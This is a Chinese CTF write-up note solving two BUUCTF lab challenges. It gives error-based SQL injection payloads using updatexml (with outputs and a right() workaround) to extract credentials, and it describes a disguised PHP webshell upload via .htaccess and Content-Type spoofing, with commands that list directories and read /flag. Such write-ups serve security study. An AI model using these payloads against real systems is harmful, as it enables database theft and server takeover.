BUUCTF刷题笔记（十二）

§ [极客大挑战 2019]HardSQL

§ [MRCTF2020]你传你🐎呢

[极客大挑战 2019]HardSQL

fuzz 过滤了 ! & * + < > = | \\ if and union drop having mid sleep hex char ascii substr greatest 等关键字

报错注入

查看数据库基础信息

‘or(updatexml(1,concat(0x7e,version(),0x7e),1))#

XPATH syntax error: ‘10.3.18-MariaDB‘

‘or(updatexml(1,concat(0x7e,database(),0x7e),1))#

XPATH syntax error: ‘geek‘

查表

‘or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

XPATH syntax error: ‘H4rDsq1‘

查字段

‘or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))#

XPATH syntax error: ‘id,username,password‘

查数据

‘or(updatexml(1,concat(0x7e,(select(group_concat(username,’~’,password))from(H4rDsq1)),0x7e),1))#

XPATH syntax error: ‘flagflag{db016904-4690-4025-94’

局限

updatexml() 仅能显示32个字符，若所需数据超出此长度限制，可结合 right() 使用

‘or(updatexml(1,concat(0x7e,(select(group_concat((right(password,30))))from(H4rDsq1)),0x7e),1))

XPATH syntax error: ‘4-4690-4025-94c4-f546273a2d1e}‘

小结

1. updatexml

[MRCTF2020]你传你🐎呢

.htaccess

修改 Content-Type

/var/www/html/upload/315f3ebf1b34561a6edd5834019ba782/.htaccess succesfully uploaded!

一句话

修改 Content-Type

/var/www/html/upload/315f3ebf1b34561a6edd5834019ba782/ba2in9a-php.jpg succesfully uploaded!

ba2in9a=var_dump(scandir(“/“));

ba2in9a=var_dump(file_get_contents(“/flag”));